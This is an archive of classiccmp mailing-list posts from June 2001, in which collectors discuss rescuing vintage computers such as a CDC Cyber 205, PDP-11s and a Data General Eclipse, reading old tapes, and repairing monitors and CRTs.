Message-ID: <20010611222823.22461.qmail@web9502.mail.yahoo.com> --- Don Maslin wrote: > > > On Sat, 9 Jun 2001, Bruce Ray wrote: > > > I have been in contact with these folks with the DG/30... > > Recalling recent discussions about Nigeria, just don't send money Bruce. > > - don Speaking of which, I meant to post this when I found it... a link to more information about Nigerian scams than you probably ever wanted to know... http://home.rica.net/alphae/419coal/ Among the things I learned there is where to send your e-mails and paper mails containing various scams - the U.S. Secret Service maintains a database of letters whether or not there was any financial loss incurred. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From ethan_dicks at yahoo.com Mon Jun 11 17:38:39 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:24 2005 Subject: Storage of computer (done...) In-Reply-To: Message-ID: <20010611223839.31354.qmail@web9505.mail.yahoo.com> --- Sellam Ismail wrote: > On Mon, 11 Jun 2001, Mike Ford wrote: > > > I finally got a call through to the zoning person, actually a > > reasonable human being. Apparently some "neighbor" filed a complaint... > > I think you should be entitled to know which neighbor complained (after > all, you've been accused, you should be entitled to face your accuser...at > least that's how it works at trial under the U.S. system of law :) That's not how it works here. There is no trial, and, in fact, an assurance of anonimity of the accuser, lest people be afraid to complain. I think the difference is regarding criminal charges vs. statutatory violations. > You could then go speak with this neighbor and put them at ease... That's not what the zoning board expects you to do if they tell you who complains. They are afraid it will start/continue a neighborhood feud that ends up on the six o'clock news. > The last thing I'd want is a crappy neighbor, as that just makes living > suck for all involved. Yep. Got one out by my farm... he bought this house on a 1/6th acre plot that cost almost double what my farm did and he is particular about everything. It's a shame my property got annexed by the city before I bought it. At least I'm zoned "Rural" and can keep livestock... Peacocks are friendly birds, especially at dawn. ;-) -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From bdc at world.std.com Mon Jun 11 17:42:00 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:24 2005 Subject: OT - Scheduling/Macro Software In-Reply-To: <3B25401B.9DB5AE77@rain.org> Message-ID: On Mon, 11 Jun 2001, Marvin wrote: > I would like to be able to schedule a web browser to go to a site, > capture the page, and save it to a file automatically once an hour. > Off hand, I don't of anything that will do this; any ideas? Thanks. On which operating system would you want to do this? Under UNIX it's fairly trivial. You can setup a simple cron job to this using either the text based web browser "lynx" or the infinitely useful tool "mget". If you're running one of the Linux distributions, FreeBSD, NetBSD, or OpenBSD, they will include "lynx" and "mget" as installable packages. On other UNIX systems you'll have to download their source and compile them. -brian. From ethan_dicks at yahoo.com Mon Jun 11 17:42:06 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:24 2005 Subject: Talking 'bout shakin & quakin (was Re: Storage of computer and parts in the residential area) In-Reply-To: Message-ID: <20010611224206.77785.qmail@web9503.mail.yahoo.com> --- Russ Blakeman wrote: > That's the one that created Reelfoot Lake in TN...caused the Mississippi to > run backward for a day or two while water was opened to a new space to fill. > I don't think many people were hurt in it though, unlike the one in San > Francisco in 1906 (?) that pretty well destroyed most of SF. That's because of the population density along the Mississippi in the middle of the 19th C. When the next one like that hits, it will affect millions. -ethan (who lives in Ohio and has experienced several (small) perceptible earthquakes there) ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From lemay at cs.umn.edu Mon Jun 11 17:42:53 2001 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 19:04:24 2005 Subject: Call for Resources for CDC 6000/Cyber 70 Series Emulator In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD3715108C@jeffserver.tegjeff.com> "from Douglas Quebbeman at Jun 1, 2001 03:27:17 pm" Message-ID: <200106112242.RAA14476@caesar.cs.umn.edu> Hmm, what are the odds... I just came across a small magnetic tape from CDC, from 1975, containing CDC 8090 Assembler, whatever that is... If the label is to be trusted, it is a 7 track tape, contains one file, and the density is 556? -Lawrence LeMay lemay@cs.umn.edu From lemay at cs.umn.edu Mon Jun 11 17:57:22 2001 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 19:04:24 2005 Subject: M9202 Unibus connector inverted Message-ID: <200106112257.RAA14498@caesar.cs.umn.edu> I came across some M9202 "Unibus connector inverted", and I'm wondering if anyone knows what they are used for? -Larry LeMay From rhblake at bigfoot.com Mon Jun 11 18:11:57 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:24 2005 Subject: Talking 'bout shakin & quakin (was Re: Storage of computer and parts in the residential area) In-Reply-To: <20010611224206.77785.qmail@web9503.mail.yahoo.com> Message-ID: If the river doesn't get them first! > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Ethan Dicks > Sent: Monday, June 11, 2001 5:42 PM > To: classiccmp@classiccmp.org > Subject: RE: Talking 'bout shakin & quakin (was Re: Storage of computer > and parts in the residential area) > > > > --- Russ Blakeman wrote: > > That's the one that created Reelfoot Lake in TN...caused the > Mississippi to > > run backward for a day or two while water was opened to a new > space to fill. > > I don't think many people were hurt in it though, unlike the one in San > > Francisco in 1906 (?) that pretty well destroyed most of SF. > > That's because of the population density along the Mississippi in > the middle > of the 19th C. When the next one like that hits, it will affect millions. > > -ethan > (who lives in Ohio and has experienced several (small) > perceptible earthquakes > there) > > > > > ===== > Visit "The Seventh Continent" > http://penguincentral.com/penguincentral.html > > __________________________________________________ > Do You Yahoo!? > Get personalized email addresses from Yahoo! Mail - only $35 > a year! http://personal.mail.yahoo.com/ From bkr at WildHareComputers.com Mon Jun 11 18:35:58 2001 From: bkr at WildHareComputers.com (Bruce Ray) Date: Sun Feb 27 19:04:24 2005 Subject: TI SR-51 calculator operator guide References: <200106112257.RAA14498@caesar.cs.umn.edu> Message-ID: <031201c0f2cf$49e96b00$0100a8c0@dellhare> I just found my copy of the TI SR-51 calculator "Operating Guide", a small 19-page operating summary for the SR-51 calculator printed in 1974. The calculator and full manual were donated years ago, but this guide is available free to somebody who collects historical TI calcs. Bruce bkr@WildHareComputers.com From Demon02554 at aol.com Mon Jun 11 18:43:36 2001 From: Demon02554 at aol.com (Demon02554@aol.com) Date: Sun Feb 27 19:04:24 2005 Subject: OT: Swordfish Message-ID: In the movie Swordfish there is PDP-10 cameo the "only PDP-10 still online, just as a museum...perfect place to hide my worm" From vaxman at qwest.net Mon Jun 11 18:40:03 2001 From: vaxman at qwest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 19:04:24 2005 Subject: sync on green to horizontal and vertical wiring seperator. In-Reply-To: <20010611013627.QUBP20074.tomts8-srv.bellnexxia.net@duron> Message-ID: Hi! My (modern) Mitsubishi Diamond Pro 21TX accepts both Sync-on-green and separate sync. I suspect that most PC monitors with BNCs will do the same. Clint On Sun, 10 Jun 2001 jpero@sympatico.ca wrote: > Hi! > > This is getting frustrating. > > This is fairly on topic because I run older Macs (1987 to 1991, and > many nubus video cards) that does not have native separate syncs by > design. I'm using a very dim Mac high resolution monitor. If > adjusted brighter, it will lose sharpness. It's already adjusted > perfectly and this doesn't helped. That's bad tube, caps that I can > check with my ESR are replaced already. > > This is killing my eyes staring at that dim monitor bought about this > thinking to solve that problem because finding decent monitors with > sync on green and composite features that does have good tube is > getting harder to find. I do have a semi-working Nec 3D but tube is > real small! And at other extreme, I have 20" Nec monitor but I'm not > gonna drag that thing here. HUGE and power hungry. > > Except I have this dead 17" with all this features is IDEK Liyama > waiting for schematic but that will be long awhile till I have money. > The important details I need is fusiable resistors, they blew and > cooked off the numbers completely. > > But I might have one or two monitors I might able to extract certain > IC to split the sync out to drive a peecee monitors which are in > plenty around here. > > Otherwise if there a way to build that thing from scratch is nice. > > Cheers, > > Wizard > > From pdp11 at bellsouth.net Mon Jun 11 18:52:45 2001 From: pdp11 at bellsouth.net (Doug Carman) Date: Sun Feb 27 19:04:24 2005 Subject: M9202 Unibus connector inverted References: <200106112257.RAA14498@caesar.cs.umn.edu> Message-ID: <3B2559CD.B81DA1C8@bellsouth.net> Lawrence LeMay wrote: > > I came across some M9202 "Unibus connector inverted", and I'm wondering > if anyone knows what they are used for? To connect UNIBUSES, of course :) It is used to connect two adjacent UNIBUS backplanes of a DEC PDP-11 system. They are commonly found in BA11 expansion shelves to connect the segments of the backplane. -- Doug Carman pdp11@bellsouth.net From vaxman at qwest.net Mon Jun 11 18:49:43 2001 From: vaxman at qwest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 19:04:24 2005 Subject: OT - Scheduling/Macro Software In-Reply-To: <3B25401B.9DB5AE77@rain.org> Message-ID: There's a program I've used called 'webcopy' (perl script) that could be called by cron on a 1986 uVAX II running Ultrix... Clint PS Or you can use the 'fetch' program on a brand new 1.7 GHz Pentium PC running FreeBSD, but that would be off topic, wouldn't it... On Mon, 11 Jun 2001, Marvin wrote: > > I would like to be able to schedule a web browser to go to a site, capture > the page, > and save it to a file automatically once an hour. Off hand, I don't of > anything that will do this; any ideas? Thanks. > > From ard at p850ug1.demon.co.uk Mon Jun 11 18:46:02 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:24 2005 Subject: sync on green to horizontal and vertical wiring seperator. In-Reply-To: <20010611214323.BEOI7196.tomts13-srv.bellnexxia.net@duron> from "jpero@sympatico.ca" at Jun 11, 1 05:46:06 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 366 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010612/3ddefe8b/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jun 11 18:50:03 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:24 2005 Subject: sync on green to horizontal and vertical wiring seperator. In-Reply-To: <20010611220021.BVTD7745.tomts7-srv.bellnexxia.net@duron> from "jpero@sympatico.ca" at Jun 11, 1 06:03:04 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1866 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010612/7be0d362/attachment.ksh From lance at costanzo.net Mon Jun 11 19:03:46 2001 From: lance at costanzo.net (Lance Costanzo) Date: Sun Feb 27 19:04:24 2005 Subject: Call for Resources for CDC 6000/Cyber 70 Series Emulator Message-ID: <3.0.32.20010611170345.02113780@costanzo.net> At 05:42 PM 6/11/01 -0500, you wrote: >contains one file, and the density is 556? old 7-track, 200, 556, 800. those were gentler times. From lance at costanzo.net Mon Jun 11 19:05:19 2001 From: lance at costanzo.net (Lance Costanzo) Date: Sun Feb 27 19:04:24 2005 Subject: OT - Scheduling/Macro Software Message-ID: <3.0.32.20010611170516.0211824c@costanzo.net> At 03:03 PM 6/11/01 -0700, you wrote: > >I would like to be able to schedule a web browser to go to a site, capture >the page, >and save it to a file automatically once an hour. Off hand, I don't of >anything that will do this; any ideas? Thanks. unix: cron + wget From ard at p850ug1.demon.co.uk Mon Jun 11 19:04:34 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:24 2005 Subject: M9202 Unibus connector inverted In-Reply-To: <200106112257.RAA14498@caesar.cs.umn.edu> from "Lawrence LeMay" at Jun 11, 1 05:57:22 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 956 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010612/e54c69df/attachment.ksh From jweder at telusplanet.net Mon Jun 11 19:17:05 2001 From: jweder at telusplanet.net (Joel Weder) Date: Sun Feb 27 19:04:24 2005 Subject: EPROM replacement and other helpful hints, was Re: IMSAI EPROMS In-Reply-To: <200106111801.NAA39353@opal.tseinc.com> Message-ID: Thanks Mike... Not a bad idea, using switches, but Godbout thought about that 23 years ago! ;o) This EconoROM board has 4 banks of chips already, switch selectable. You can have any one or a combination enabled at once, and set the addresses individually. So I could easily use four 2732's or whatever, one for each bank. Though adding further switches would allow even larger chips to be fully used. Joel A. Weder jweder@telusplanet.net 403-556-4020 From dhquebbeman at theestopinalgroup.com Mon Jun 11 19:19:33 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:24 2005 Subject: Cyber205 was RE: Ebay horror ... Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151120@jeffserver.tegjeff.com> > >> >Do you *really* know people who keep mainframes rusting > >> >in the yard? CDC Cybers, by any chance? > >On June 11, Tom Uban wrote: > >> Not too long ago (and perhaps still) the CDC Cyber 205 was complete and > >> sitting in one of the Purdue University salvage buildings. This is a *BIG* > >> machine and would require some serious space, power, etc. > >> > >> The machine has a panel on it which there are the signatures of many > >> people. I think they are the signatures of the installers, maintainers, > >> etc. > At 04:23 PM 6/11/01 -0400, Dave McGuire wrote: > > > > Uhhhh...ahhh....a Cyber205? 8-) That's a VERY historically important > >machine in my opinion. > > > > I'd been deleting these messages as yet-another-ebay-related-flame > >but this message caught my attention. If there's a complete Cyber 205 > >in existence anywhere, I'd sure like to know about it. What is the > >status of this machine? Is it available? Anybody know? >On June 11, Tom Uban wrote: > Call Purdue salvage and ask. When I saw it, it wasn't in the area that > would normally be seen, but it may be available. Call (765) 494-4600 > and ask for the number for Purdue salvage... Ok, I'm Southern Indiana, I'll see if I can't get some initial information about this machine. I could fit a Cyber 172 in garage, but nothing this big, so I want to help get this into the hands of a proper preservation organization. If anyone has any advice, I'm all ears... -dq From KenzieM at sympatico.ca Mon Jun 11 19:24:15 2001 From: KenzieM at sympatico.ca (Mike Kenzie) Date: Sun Feb 27 19:04:24 2005 Subject: Huge PDP-11 rescue opportunity References: <991967553.3b20394186926@email.ou.edu> <3B238235.101F49C4@bellsouth.net> <992224053.3b242335e2b73@email.ou.edu> <3B242D72.85D645C7@internet1.net> <992235682.3b2450a295c20@email.ou.edu> <3B2464F8.12D972BD@internet1.net> Message-ID: <00b501c0f2d6$04bb49c0$0101a8c0@sympatico.ca> ----- Original Message ----- From: "Chad Fernandez" To: Sent: Monday, June 11, 2001 2:28 AM Subject: Re: Huge PDP-11 rescue opportunity > "Jeffrey S. Sharp" wrote: > > > > Quoting Chad Fernandez : > > > They are on the wrong side of the country as are all computers, > > > it seems. > > > > I *know*! I mean, c'mon, Oklahoma's supposed to be technologically > > behind; you'd think there would be a whole load of PDP-11s being > > decommisioned daily. But no... I've just been given a PDP -11 that's been sitting in a basement for the last ten years and they want it out. He's not sure which model it is but the documentation is there and so is a dec writer. He says that there are 2 racks about the size of a refrigerator. Any one in the Ottawa area with a truck to help move it? I can offer an AS400 in exchange. From dhquebbeman at theestopinalgroup.com Mon Jun 11 19:31:24 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:24 2005 Subject: Call for Resources for CDC 6000/Cyber 70 Series Emulator Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151123@jeffserver.tegjeff.com> > Hmm, what are the odds... I just came across a small magnetic > tape from CDC, from 1975, containing CDC 8090 Assembler, whatever > that is... If the label is to be trusted, it is a 7 track tape, > contains one file, and the density is 556? We had an 8090 in Bloomington, front-ending a 3600; later its was replaced by a 3400. The 3400/3600 system was in turn replaced by the 6600 in 1970. I'd say it's worth preserving. May I implore you to seek out one of the people who frequent this list who offer conversion services? Let's get it on disk, somebody may find one of these systems someday. Or might want to write an emulator... Regards, -doug quebbeman From foo at siconic.com Mon Jun 11 18:38:30 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:24 2005 Subject: OT - Scheduling/Macro Software In-Reply-To: <3B25401B.9DB5AE77@rain.org> Message-ID: On Mon, 11 Jun 2001, Marvin wrote: > I would like to be able to schedule a web browser to go to a site, > capture the page, and save it to a file automatically once an hour. > Off hand, I don't of anything that will do this; any ideas? Thanks. A Perl script running on a Unix box would handle this quite nicely. E-mail me personally and I'll help you with this. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From r.stek at snet.net Mon Jun 11 19:46:52 2001 From: r.stek at snet.net (Bob Stek) Date: Sun Feb 27 19:04:24 2005 Subject: Sol-20 and Helios pleas Message-ID: <001801c0f2d9$2be7f220$0301a8c0@bob> Jim - Ask and ye shall receive, knock and the Helios manual and disks shall be made available... I have the manual and lots of PT-DOS disks. I have never had the opportunity to try them on my Helios. In fact a recent major accomplishment has been getting the Helios out of storage for possible display at VCF East. I am afraid all that my schedule will allow is seeing if it works when connected to my Sol (and I may not have time to do that for a few more weeks). But you are certainly welcome to borrow the manual and disks - the manual is about more than twice the size of the Sol manual. I could have a copy shop do it here, but it would probably run into BIG BUCKS, and I don't have the time to do it at work. But if you want to borrow them, they are yours for the asking. With all your work on Solace, I don't know anyone who would appreciate (or deserve) them more. And, Doug, it was me who contacted Stan a year after he dumped his Sols (and now he is S-O-L). About two years ago I did send out a mailing to about 150 names and addresses I culled from the Proteus News and tried to find via web-based phone directories. I eventually made contact via email with 3 or 4 who still had their machines .... And promptly lost their addresses after a major system crash and prior to a backup (been there, done that). Your Sol-brother, Bob Saver of Lost Sols From rcini at optonline.net Mon Jun 11 19:53:59 2001 From: rcini at optonline.net (Richard A. Cini, Jr.) Date: Sun Feb 27 19:04:24 2005 Subject: Books wanted Message-ID: Hello, all: I'm looking for the following books: "DOS Internals" by Geoff Chappell "DOS and Windows Protected Mode Programming" by Al WIlliams "Advanced MSDOS Programming" by Ray Duncan If anyone has these, please let me know off-list so that we can work a deal. Thanks. Rich Rich Cini Collector of classic computers Build Master for the Altair32 Emulation Project Web site: http://highgate.comm.sfu.ca/~rcini/classiccmp/ /************************************************************/ From dpeschel at eskimo.com Mon Jun 11 20:03:11 2001 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 19:04:24 2005 Subject: Data General Eclipse in Tumwater, WA Message-ID: <200106120103.SAA17912@eskimo.com> Any DG collectors in the Northwest? This looks like a good find. The owner's original ad said: "Data General Eclipse mainframe with peripherals. Will consider donation to non-profit organization." Bobby Johnson, Miller Brewing Company Phone: (360)754-5072 Fax: (360)754-5166 E-Mail: johnson.bobby.m@mbco.com and I know he wants to get rid of the system, because he asked me to post a notice to the list. No information from him yet about size, weight, or running condition, but I imagine the system is in good condition. Please contact the owner, not me! -- Derek From wonko at tmok.com Mon Jun 11 20:43:59 2001 From: wonko at tmok.com (Brian Hechinger) Date: Sun Feb 27 19:04:24 2005 Subject: sync on green to horizontal and vertical wiring seperator. In-Reply-To: ; from Clint Wolff (VAX collector) on Mon, Jun 11, 2001 at 05:40:03PM -0600 References: <20010611013627.QUBP20074.tomts8-srv.bellnexxia.net@duron> Message-ID: <20010611214359.X93146@tmok.com> On Mon, Jun 11, 2001 at 05:40:03PM -0600, Clint Wolff (VAX collector) wrote: > > My (modern) Mitsubishi Diamond Pro 21TX accepts both Sync-on-green > and separate sync. I suspect that most PC monitors with BNCs will > do the same. isn't that an oxymoron? PC generally don't use BNC. :) -brian From bkr at WildHareComputers.com Mon Jun 11 20:35:16 2001 From: bkr at WildHareComputers.com (Bruce Ray) Date: Sun Feb 27 19:04:24 2005 Subject: Data General Eclipse in Tumwater, WA References: <200106120103.SAA17912@eskimo.com> Message-ID: <046701c0f2df$efb5c5f0$0100a8c0@dellhare> Thanks Derek - we've already sent the contact email(!) ----- Original Message ----- From: "Derek Peschel" To: Sent: Monday, June 11, 2001 7:03 PM Subject: Data General Eclipse in Tumwater, WA > Any DG collectors in the Northwest? This looks like a good find. > > The owner's original ad said: > > "Data General Eclipse mainframe with peripherals. Will consider donation > to non-profit organization." > > Bobby Johnson, Miller Brewing Company > Phone: (360)754-5072 > Fax: (360)754-5166 > E-Mail: johnson.bobby.m@mbco.com > > and I know he wants to get rid of the system, because he asked me to post > a notice to the list. No information from him yet about size, weight, or > running condition, but I imagine the system is in good condition. > Please contact the owner, not me! > > -- Derek From allain at panix.com Mon Jun 11 21:19:33 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:24 2005 Subject: decus lives! References: <01Jan3.180113gmt.46097@gatekeeper.ccat.co.uk> Message-ID: <007701c0f2e6$1f0fc160$8a0101ac@ibm23xhr06> ditto. for me too on this very day. first time user: 1975 first time member: 2001 now its off to Montagar John A. From lemay at cs.umn.edu Mon Jun 11 21:28:19 2001 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 19:04:24 2005 Subject: Call for Resources for CDC 6000/Cyber 70 Series Emulator In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD37151123@jeffserver.tegjeff.com> "from Douglas Quebbeman at Jun 11, 2001 08:31:24 pm" Message-ID: <200106120228.VAA14900@caesar.cs.umn.edu> > > > Hmm, what are the odds... I just came across a small magnetic > > tape from CDC, from 1975, containing CDC 8090 Assembler, whatever > > that is... If the label is to be trusted, it is a 7 track tape, > > contains one file, and the density is 556? > > We had an 8090 in Bloomington, front-ending a 3600; later its > was replaced by a 3400. The 3400/3600 system was in turn > replaced by the 6600 in 1970. > > I'd say it's worth preserving. May I implore you to seek > out one of the people who frequent this list who offer > conversion services? Let's get it on disk, somebody may > find one of these systems someday. Or might want to write > an emulator... > Sure, sounds good in theory. Who has a 7-track tape drive in usable condition at the moment, and wants to try reading the tape? -Lawrence LeMay lemay@cs.umn.edu From djg at drs-esg.com Mon Jun 11 21:29:56 2001 From: djg at drs-esg.com (David Gesswein) Date: Sun Feb 27 19:04:24 2005 Subject: PDP 8/e Help - File Transfer Message-ID: <200106120229.WAA29948@drs-esg.com> > From: Lawrence LeMay > See: http://highgate.comm.sfu.ca/pdp8/ > > The Software section contains wehat you need. The dump and restore utilities > contain programs for downloading files from PC to PDP 8/E, and you can > also use the send.c and rim.c programs if you want. > I have an updated version at ftp://ftp.pdp8.net/software/dumprest.zip It fixes some minor bugs and has better documentation. It also breaks TD8E DECtape, yet another thing on the TODO list. If anybody uses this to copy their media to a PC I would like to get a copy of the images to put on my FTP site to increase the available PDP-8 software. > From: "Rick Bensene" > > > > It was working perfectly for the longest time, then, very suddenly when > > accessing either RK05 drive, I get errors that are kind of strage. I had an interesting one with mine, it started giving read errors on existing packs but worked fine if you formatted a pack in the drive. A counter failed so the the header words were written to the wrong location. > > I need to somehow get the MAINDEC RK8E diagnostic loaded onto the machine > > to try to see what is going on with the disk controller. > > If you need more help email me. I have run them by boot/pt and sending paper tape images through the serial port. David Gesswein http://www.pdp8.net/ -- Run an old computer with blinkenlights. From broth at heathers.stdio.com Mon Jun 11 20:34:17 2001 From: broth at heathers.stdio.com (Brian Roth) Date: Sun Feb 27 19:04:24 2005 Subject: OT But... Message-ID: <01061121404901.07490@fatty> I know this is off topic but I just replaced my LRP router with a software package called smoothwall. Its still Linux with complete control through a java enabled browser with status, network, and firewall logging. Lots of features and free. Awsome. Check it out. http://www.smoothwall.org Brian. -- Brian Roth - System Administrator www.webwirz.com - Old Computer Repository Preoccupation is my main occupation..... From jpero at sympatico.ca Mon Jun 11 17:43:10 2001 From: jpero at sympatico.ca (jpero@sympatico.ca) Date: Sun Feb 27 19:04:24 2005 Subject: sync on green to horizontal and vertical wiring seperator. In-Reply-To: References: <20010611220021.BVTD7745.tomts7-srv.bellnexxia.net@duron> from "jpero@sympatico.ca" at Jun 11, 1 06:03:04 pm Message-ID: <20010612024026.SUJ2764.tomts14-srv.bellnexxia.net@duron> > From: ard@p850ug1.demon.co.uk (Tony Duell) > Subject: Re: sync on green to horizontal and vertical wiring seperator. > To: classiccmp@classiccmp.org > Date: Tue, 12 Jun 2001 00:50:03 +0100 (BST) > Reply-to: classiccmp@classiccmp.org > > If it comes from the flyback anyway. try winding a couple more turns > round the flyback core and putting them in series with the existing > heater supply winding. One way will reduce the heater voltage (and may > even cause the screen to go blank), the other way will boost it. Tony, Got right direction of turns first try, Just two turns too much! Got nice bright orange glow like electric stove coil on full without pot sitting on it and bright raster lines! Whoa. Will try one turn even just a pass through. > Normally about 6.3V at 1A for a colour CRT IIRC. 1 amp!? No wonder I see dust beard tracing out that heater traces. Cheers, Wizard From jpero at sympatico.ca Mon Jun 11 18:07:10 2001 From: jpero at sympatico.ca (jpero@sympatico.ca) Date: Sun Feb 27 19:04:24 2005 Subject: Heater boosting update. In-Reply-To: <20010612024026.SUJ2764.tomts14-srv.bellnexxia.net@duron> References: Message-ID: <20010612030426.EESN29618.tomts6-srv.bellnexxia.net@duron> > > From: ard@p850ug1.demon.co.uk (Tony Duell) > > Subject: Re: sync on green to horizontal and vertical wiring seperator. > > To: classiccmp@classiccmp.org > > Date: Tue, 12 Jun 2001 00:50:03 +0100 (BST) > > Reply-to: classiccmp@classiccmp.org > > > > > If it comes from the flyback anyway. try winding a couple more turns > > round the flyback core and putting them in series with the existing > > heater supply winding. One way will reduce the heater voltage (and may > > even cause the screen to go blank), the other way will boost it. > > Tony, > > Got right direction of turns first try, Just two turns too much! > Got nice bright orange glow like electric stove coil on full without > pot sitting on it and super-bright raster lines! Whoa. > > Will try one turn even just a pass through. Final update, PERFECT!! One turn is all it needed, about right orange glow from heaters. And small adjustment to screen pot, finish the focus pots, there are two. Done. Happy now and now enjoying it that able to see clearly and more sharper. Converage is perfect on this one. Question, now that I done it, overdriving the heater by one turn, have not yet have a way to measure the actual heater voltage, remind me what kind of equipment to measure this? I don't think going at 8V, I think bit less. Should not make that tube life much shorter. Maybe a year or two? Cheers, Wizard PS: AppleColor High Resolution RGB Monitor, M1297. From bdc at world.std.com Mon Jun 11 22:44:55 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:24 2005 Subject: Call for Resources for CDC 6000/Cyber 70 Series Emulator In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD37151123@jeffserver.tegjeff.com> Message-ID: On Mon, 11 Jun 2001, Douglas Quebbeman wrote: > > Hmm, what are the odds... I just came across a small magnetic > > tape from CDC, from 1975, containing CDC 8090 Assembler, whatever > > that is... If the label is to be trusted, it is a 7 track tape, > > contains one file, and the density is 556? > > We had an 8090 in Bloomington, front-ending a 3600; later its was > replaced by a 3400. The 3400/3600 system was in turn replaced by the > 6600 in 1970. Do you know what happened to the VAXen used by IU Bloomington in the early 1990s? I was at Rose-Hulman at the time, but many of my friends were going to IU. I remember there being a couple of VAX/VMS systems like ROSE, JADE, and AQUA . -brian. From jss at ou.edu Mon Jun 11 23:21:57 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:24 2005 Subject: Ebay horror ... In-Reply-To: <02f801c0f2bf$e4d7d800$614099a1@rcs.ra.rockwell.com> References: <992290274.3b2525e2165fd@email.ou.edu> <02f801c0f2bf$e4d7d800$614099a1@rcs.ra.rockwell.com> Message-ID: <992319717.3b2598e59783c@email.ou.edu> Quoting Jonathan Engdahl : > > From: "Jeffrey S. Sharp" > > > > Right. I would, however, tack on a note saying that it's ok > > to try and make money off of classic computing items IF that > > money is used to recover costs incurred in your collecting > > activities. > > I could not disagree more. Whether someone makes a profit off > selling a classic computer item, and what he does with the > money, is entirely his own business. Of course. My statement is only a personal standard that I follow. -- Jeffrey S. Sharp jss@ou.edu From jss at ou.edu Mon Jun 11 23:42:16 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:24 2005 Subject: Huge PDP-11 rescue opportunity In-Reply-To: <00b501c0f2d6$04bb49c0$0101a8c0@sympatico.ca> References: <991967553.3b20394186926@email.ou.edu> <3B238235.101F49C4@bellsouth.net> <992224053.3b242335e2b73@email.ou.edu> <3B242D72.85D645C7@internet1.net> <992235682.3b2450a295c20@email.ou.edu> <3B2464F8.12D972BD@internet1.net> <00b501c0f2d6$04bb49c0$0101a8c0@sympatico.ca> Message-ID: <992320936.3b259da88cf4f@email.ou.edu> I wrote: > > Oklahoma's supposed to be technologically behind; you'd think > there would be a whole load of PDP-11s being decommisioned daily. > But no... Mike Kenzie wrote: > > I've just been given a PDP-11 ... Any one in the Ottawa area with > a truck to help move it? What's up with this? If I wasn't agnostic, I would think there was some evil deity having some fun at my expense... Glad to see that *you've* been lucky in your local search. :-) -- Jeffrey S. Sharp jss@ou.edu From jss at ou.edu Mon Jun 11 23:43:24 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:24 2005 Subject: OT: Swordfish In-Reply-To: References: Message-ID: <992321004.3b259decd41ea@email.ou.edu> Quoting Demon02554@aol.com: > In the movie Swordfish there is PDP-10 cameo the "only PDP-10 > still online, just as a museum...perfect place to hide my worm" At least tell me that the operator doesn't ride a skateboard to work... -- Jeffrey S. Sharp jss@ou.edu From mikeford at socal.rr.com Mon Jun 11 23:30:59 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:24 2005 Subject: sync on green to horizontal and vertical wiring seperator. In-Reply-To: <20010611214359.X93146@tmok.com> References: ; from Clint Wolff (VAX collector) on Mon, Jun 11, 2001 at 05:40:03PM -0600 <20010611013627.QUBP20074.tomts8-srv.bellnexxia.net@duron> Message-ID: >> My (modern) Mitsubishi Diamond Pro 21TX accepts both Sync-on-green >> and separate sync. I suspect that most PC monitors with BNCs will >> do the same. > >isn't that an oxymoron? PC generally don't use BNC. :) Its the rage again, all the really hot new monitors have BNC (as well as normal SVGA HD15). From ernestls at home.com Tue Jun 12 00:15:57 2001 From: ernestls at home.com (Ernest) Date: Sun Feb 27 19:04:24 2005 Subject: Anyone interested in these? In-Reply-To: Message-ID: Royal A60 Sharp yx 3500 Monroe OC 8820 Olivetti LI Kontron PSI 480 Pilara (or Pilana) 2000 AT&T 6300 